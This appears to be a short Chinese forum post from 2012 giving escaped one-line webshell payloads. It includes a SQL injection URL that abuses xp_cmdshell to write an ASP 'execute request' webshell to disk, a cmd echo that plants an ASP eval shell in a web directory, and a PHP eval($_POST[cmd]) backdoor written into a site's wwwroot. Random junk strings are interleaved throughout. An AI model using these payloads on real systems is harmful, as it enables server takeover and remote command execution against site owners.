用^转义字符来写ASP(一句话木马)文件的方法:
- P% L2 o: x, e+ f% t# @2 i E4 k$ x0 d
1.注入点后执行 http://192.168.1.5/display.asp?keyno=1881;exec master.dbo.xp_cmdshell 'echo ^<script language=VBScript runat=server^>execute request^("l"^)^</script^> >c:\mu.asp';--. [4 T+ h1 Z9 \' ?" t1 y4 u2 t
0 D& A) ?, I- C3 O* I* E/ }4 m
2.CMD下执行 echo ^<%execute^(request^("l"^)^)%^> >D:\doc\week6\images\2.asp5 d" i: N8 ?0 X9 k
* J: y3 g7 Z" i6 K
- n8 o" p( \8 RPHP. V$ Y7 M- I: ~4 r" Y! H
echo ^<^?php eval^($_POST[cmd])?^>>D:\hosting\wwwroot\zlhua_cn\htdocs\1.php |
发表于 2012-9-15 14:52:31
收藏
支持
反对